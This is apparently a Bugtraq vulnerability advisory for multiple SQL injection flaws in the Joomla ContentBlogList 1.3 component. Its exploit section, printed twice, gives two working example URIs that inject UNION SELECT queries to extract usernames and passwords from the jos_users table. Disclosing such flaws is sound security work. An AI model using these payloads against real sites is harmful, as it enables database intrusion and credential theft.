Joomla! 'com_ContentBlogList' Component Multiple SQL Injection Vulnerabilities
BID:37937
Info
Joomla! 'com_ContentBlogList' Component Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 37937 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 23 2010 12:00AM |
| Updated: | Jan 23 2010 12:00AM |
| Credit: | B-HUNT3|2 |
| Vulnerable: |
Joomla ContentBlogList 1.3 |
| Not Vulnerable: | |
Exploit / POC
Joomla! 'com_ContentBlogList' Component Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/searchword=Small%25%22%29%29+AND+0+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26,27,28,29,30+FROM+jos_users%23&Search=Ir&task=listsearch&searchphrase=all&ordering=newest&
areas%5B%5D=content&Itemid=1&sectionid=0&limitstart=
http://www.example.com/index.php?option=com_contentbloglist&task=listmonth&year=2010&month=1&section_id=999999+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users&Itemid=1
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/searchword=Small%25%22%29%29+AND+0+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26,27,28,29,30+FROM+jos_users%23&Search=Ir&task=listsearch&searchphrase=all&ordering=newest&
areas%5B%5D=content&Itemid=1&sectionid=0&limitstart=
http://www.example.com/index.php?option=com_contentbloglist&task=listmonth&year=2010&month=1&section_id=999999+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users&Itemid=1
References
Joomla! 'com_ContentBlogList' Component Multiple SQL Injection Vulnerabilities
References:
References:
- Article list by month (Joomla!)